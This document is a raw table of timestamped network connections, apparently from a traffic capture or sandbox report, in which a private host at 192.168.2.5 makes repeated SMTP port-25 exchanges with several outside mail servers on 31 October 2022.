Oct 31, 2022 12:20:15.560759068 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:15.647692919 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.648169994 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:15.649668932 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:15.749218941 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:15.749579906 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:15.964983940 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966346979 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966367960 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966382027 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966509104 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966515064 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:15.966540098 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966552019 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966563940 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966574907 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966588020 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966595888 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:15.966600895 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:15.966672897 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:15.966696978 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:16.115753889 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:16.283129930 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283200026 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283220053 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283235073 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283251047 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283265114 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283282042 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283297062 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283313990 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283312082 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:16.283329964 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283348083 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283364058 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283380032 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283392906 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:16.283396006 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283413887 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283422947 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:16.283430099 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283446074 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283462048 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283477068 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.283492088 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.286118984 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:16.286323071 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:16.600009918 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600040913 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600054979 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600063086 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600075960 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600087881 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600099087 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600111961 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600122929 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600136042 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600147009 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600157976 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600183964 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600200891 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600213051 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600225925 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600270033 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.600282907 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.652828932 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:16.767014980 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.767182112 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:16.767380953 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:16.819771051 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:16.867592096 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:16.951719999 CET	49865	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:16.952641010 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:17.060576916 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.087693930 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.088488102 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.116638899 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.116856098 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.143876076 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.147254944 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.147568941 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.174963951 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.175223112 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.208184004 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.268507004 CET	25	49865	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:17.280945063 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.314682961 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.316447973 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.318599939 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:17.319302082 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.333082914 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.351644993 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.351975918 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.360582113 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.360963106 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.361542940 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.362642050 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.385667086 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.388900042 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.389070988 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.389730930 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.389823914 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.389846087 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.390007019 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.390027046 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.390043020 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.390054941 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.390152931 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.390152931 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.395174026 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.395332098 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.416795969 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.416853905 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.416867018 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.416948080 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.416960001 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417000055 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417011023 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417054892 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.417054892 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.417063951 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417054892 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.417077065 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417124987 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417154074 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.417154074 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.417154074 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.417154074 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.417220116 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417232037 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417243958 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417256117 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417267084 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417279959 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417292118 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.417305946 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.422421932 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.422472000 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.423086882 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.442342043 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.444200039 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444227934 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444240093 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444253922 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444267035 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444278002 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444288969 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444300890 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444338083 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444350958 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444439888 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444452047 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444463968 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444478035 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444489002 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444500923 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444511890 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.444525003 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.481887102 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:17.481904984 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.540075064 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:17.540452957 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:17.548252106 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:17.552148104 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:17.599358082 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:17.607470989 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:17.621752024 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.623017073 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.658680916 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.659015894 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.665951967 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:17.665986061 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:17.667960882 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.668020964 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.668250084 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.680768967 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.682032108 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.682550907 CET	49870	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:17.694659948 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:17.709625959 CET	25	49870	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:17.715912104 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.715949059 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.715959072 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.715966940 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.715980053 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.716165066 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.721991062 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.722512007 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.750140905 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750186920 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750195980 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750204086 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750214100 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750226021 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750233889 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750241995 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750255108 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750262976 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750269890 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750277996 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750286102 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750293016 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750300884 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750308037 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750319958 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.750534058 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.753740072 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:17.756505966 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.756529093 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784375906 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784414053 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784425020 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784439087 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784450054 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784457922 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784468889 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784486055 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784492970 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784501076 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784507990 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784514904 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784522057 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784529924 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784542084 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784550905 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784562111 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.784574986 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.790085077 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:17.805270910 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:17.836477041 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:17.918353081 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.085163116 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.133270979 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.133291006 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:18.138776064 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:18.140089035 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:18.141683102 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:18.173100948 CET	25	49871	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:18.173281908 CET	49871	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:18.193022013 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.207664013 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.250169992 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.250600100 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:18.266535997 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.283442020 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.283660889 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.283777952 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.283864021 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:18.306438923 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.308171034 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.325889111 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.325922012 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.335000038 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.335048914 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:18.366383076 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.366451979 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.366461992 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.366774082 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.367113113 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.367249966 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.367307901 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.367405891 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.368285894 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.368307114 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.378947973 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.378998995 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.379293919 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:18.379405975 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.407383919 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.407702923 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.418473005 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.418519020 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.420998096 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.421031952 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.425649881 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.425755978 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426019907 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426045895 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426069975 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.426069975 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.426126003 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426155090 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426157951 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.426157951 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.426181078 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426259041 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.426259041 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.426265001 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426294088 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426359892 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.426359892 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:18.426377058 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426405907 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426431894 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426455975 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426480055 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426503897 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426531076 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.426554918 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.435045958 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:18.435409069 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.465394974 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.466599941 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.474490881 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.474562883 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.484921932 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.484955072 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.485127926 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.485317945 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.485400915 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.506339073 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507715940 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507739067 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507751942 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507760048 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507767916 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507775068 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507782936 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507788897 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507797003 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507807970 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.507922888 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:18.508004904 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:18.623524904 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.628397942 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.630466938 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.630737066 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:18.662197113 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.664036989 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.670115948 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.672278881 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.716382980 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.716403961 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:18.740456104 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.740586042 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:18.742109060 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.775706053 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.775738955 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.775753975 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.775760889 CET	25	49873	142.250.147.27	192.168.2.5
